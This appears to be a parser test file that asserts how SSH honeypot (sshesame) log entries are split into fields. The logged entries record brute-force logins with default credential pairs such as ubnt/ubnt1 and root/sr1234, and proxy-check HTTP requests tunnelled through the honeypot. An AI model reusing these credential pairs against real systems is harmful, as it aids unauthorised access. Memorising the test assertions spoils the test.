"GET /?requestid=32137 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][85].Success == false results["s01-parse"]["thespad/sshesame-logs"][86].Success == false results["s01-parse"]["thespad/sshesame-logs"][87].Success == true results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Parsed["message"] == "2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] input: \"GET /?requestid=85851 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Parsed["sshesame_input"] == "GET /?requestid=85851 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Parsed["timestamp"] == "2022/05/06 07:54:02" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Meta["input"] == "GET /?requestid=85851 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][87].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][88].Success == false results["s01-parse"]["thespad/sshesame-logs"][89].Success == false results["s01-parse"]["thespad/sshesame-logs"][90].Success == true results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Parsed["timestamp"] == "2022/05/06 08:01:27" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Parsed["message"] == "2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] input: \"GET /?requestid=36986 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Parsed["sshesame_input"] == "GET /?requestid=36986 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Meta["input"] == "GET /?requestid=36986 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][90].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][91].Success == false results["s01-parse"]["thespad/sshesame-logs"][92].Success == false results["s01-parse"]["thespad/sshesame-logs"][93].Success == true results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Parsed["timestamp"] == "2022/05/06 08:06:24" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Parsed["message"] == "2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] input: \"GET /?requestid=61985 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Parsed["sshesame_input"] == "GET /?requestid=61985 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Meta["input"] == "GET /?requestid=61985 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][93].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][94].Success == false results["s01-parse"]["thespad/sshesame-logs"][95].Success == false results["s01-parse"]["thespad/sshesame-logs"][96].Success == true results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Parsed["sshesame_input"] == "GET /?requestid=6514 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Parsed["timestamp"] == "2022/05/06 08:14:21" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Parsed["message"] == "2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] input: \"GET /?requestid=6514 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Meta["input"] == "GET /?requestid=6514 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][96].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][97].Success == false results["s01-parse"]["thespad/sshesame-logs"][98].Success == false results["s01-parse"]["thespad/sshesame-logs"][99].Success == true results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Parsed["message"] == "2022/05/06 08:36:14 [190.2.139.67:7117] [channel 108] input: \"GET /?requestid=12818 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Parsed["sshesame_input"] == "GET /?requestid=12818 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Parsed["timestamp"] == "2022/05/06 08:36:14" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Meta["input"] == "GET /?requestid=12818 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][99].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][100].Success == false results["s01-parse"]["thespad/sshesame-logs"][101].Success == false results["s01-parse"]["thespad/sshesame-logs"][102].Success == true results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Parsed["sshesame_input"] == "GET /?requestid=65533 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Parsed["timestamp"] == "2022/05/06 08:57:43" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Parsed["message"] == "2022/05/06 08:57:43 [190.2.139.67:58629] [channel 135] input: \"GET /?requestid=65533 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Meta["input"] == "GET /?requestid=65533 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][102].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][103].Success == false results["s01-parse"]["thespad/sshesame-logs"][104].Success == false results["s01-parse"]["thespad/sshesame-logs"][105].Success == true results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Parsed["source_ip"] == "92.159.59.16" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Parsed["sshesame_password"] == "ubnt1" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Parsed["sshesame_user"] == "ubnt" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Parsed["timestamp"] == "2022/05/06 09:14:09" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Parsed["message"] == "2022/05/06 09:14:09 [92.159.59.16:39498] authentication for user \"ubnt\" with password \"ubnt1\" accepted" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Meta["source_ip"] == "92.159.59.16" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Meta["target_user"] == "ubnt" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Meta["username"] == "ubnt" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][105].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][106].Success == false results["s01-parse"]["thespad/sshesame-logs"][107].Success == false results["s01-parse"]["thespad/sshesame-logs"][108].Success == true results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Parsed["sshesame_user"] == "roo" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Parsed["timestamp"] == "2022/05/06 09:14:14" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Parsed["message"] == "2022/05/06 09:14:14 [15.207.177.208:41458] authentication for user \"roo\" with password \"123456\" accepted" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Parsed["source_ip"] == "15.207.177.208" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Parsed["sshesame_password"] == "123456" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Meta["target_user"] == "roo" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Meta["username"] == "roo" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][108].Evt.Meta["source_ip"] == "15.207.177.208" results["s01-parse"]["thespad/sshesame-logs"][109].Success == false results["s01-parse"]["thespad/sshesame-logs"][110].Success == false results["s01-parse"]["thespad/sshesame-logs"][111].Success == true results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Parsed["timestamp"] == "2022/05/06 09:14:16" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Parsed["message"] == "2022/05/06 09:14:16 [15.207.177.208:41708] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Parsed["source_ip"] == "15.207.177.208" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Meta["source_ip"] == "15.207.177.208" results["s01-parse"]["thespad/sshesame-logs"][111].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][112].Success == false results["s01-parse"]["thespad/sshesame-logs"][113].Success == false results["s01-parse"]["thespad/sshesame-logs"][114].Success == true results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Parsed["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Parsed["sshesame_password"] == "sr1234" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Parsed["timestamp"] == "2022/05/06 09:15:03" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Parsed["message"] == "2022/05/06 09:15:03 [3.16.59.158:43316] authentication for user \"root\" with password \"sr1234\" accepted" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Meta["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][114].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][115].Success == false results["s01-parse"]["thespad/sshesame-logs"][116].Success == true results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Parsed["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Parsed["sshesame_password"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Parsed["sshesame_user"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Parsed["timestamp"] == "2022/05/06 09:15:04" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Parsed["message"] == "2022/05/06 09:15:04 [3.16.59.158:43318] authentication for user \"knockknockwhosthere\" with password \"knockknockwhosthere\" accepted" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Meta["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Meta["target_user"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][116].Evt.Meta["username"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][117].Success == false results["s01-parse"]["thespad/sshesame-logs"][118].Success == false results["s01-parse"]["thespad/sshesame-logs"][119].Success == false results["s01-parse"]["thespad/sshesame-logs"][120].Success == true results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Parsed["message"] == "2022/05/06 09:17:10 [3.16.59.158:43418] authentication for user \"root\" with password \"1212\" accepted" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Parsed["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Parsed["sshesame_password"] == "1212" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Parsed["timestamp"] == "2022/05/06 09:17:10" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Meta["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][120].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][121].Success == false results["s01-parse"]["thespad/sshesame-logs"][122].Success == true results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Parsed["sshesame_user"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Parsed["timestamp"] == "2022/05/06 09:17:11" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Parsed["message"] == "2022/05/06 09:17:11 [3.16.59.158:43420] authentication for user \"knockknockwhosthere\" with password \"knockknockwhosthere\" accepted" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Parsed["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Parsed["sshesame_password"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Meta["source_ip"] == "3.16.59.158" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Meta["target_user"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][122].Evt.Meta["username"] == "knockknockwhosthere" results["s01-parse"]["thespad/sshesame-logs"][123].Success == false results["s01-parse"]["thespad/sshesame-logs"][124].Success == false results["s01-parse"]["thespad/sshesame-logs"][125].Success == false results["s01-parse"]["thespad/sshesame-logs"][126].Success == false results["s01-parse"]["thespad/sshesame-logs"][127].Success == true results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Parsed["message"] == "2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] input: \"GET /?requestid=11658 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Parsed["sshesame_input"] == "GET /?requestid=11658 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Parsed["timestamp"] == "2022/05/06 09:21:27" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][127].Evt.Meta["input"] == "GET /?requestid=11658 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][128].Success == false results["s01-parse"]["thespad/sshesame-logs"][129].Success == false results["s01-parse"]["thespad/sshesame-logs"][130].Success == true results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Parsed["message"] == "2022/05/06 09:23:00 [45.82.65.44:42736] [channel 27] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Parsed["timestamp"] == "2022/05/06 09:23:00" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][130].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][131].Success == true results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Parsed["timestamp"] == "2022/05/06 09:23:01" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Parsed["message"] == "2022/05/06 09:23:01 [45.82.65.44:42736] [channel 27] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][131].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][132].Success == false results["s01-parse"]["thespad/sshesame-logs"][133].Success == false results["s01-parse"]["thespad/sshesame-logs"][134].Success == true results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Parsed["timestamp"] == "2022/05/06 09:27:47" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Parsed["message"] == "2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] input: \"GET /?requestid=58465 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Parsed["sshesame_input"] == "GET /?requestid=58465 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Meta["input"] == "GET /?requestid=58465 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][134].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][135].Success == false results["s01-parse"]["thespad/sshesame-logs"][136].Success == false 